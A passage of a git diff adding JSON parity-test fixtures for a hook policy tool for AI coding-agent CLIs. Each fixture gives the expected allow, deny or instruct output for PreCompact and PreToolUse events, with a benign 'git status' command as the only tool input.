"allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..90b4ce11 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9ab97ea8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2330b9c0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a50d55a7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..445fa938 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..06b858e6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b350eb8b --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..13e2cfbe --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9f371325 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4a5eabbd --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3133a81e --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..51e631f6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..598d1813 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..146b369b --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..18626a15 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..81ee77ea --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d5a60baa --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..38bee73a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..82b1842a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": 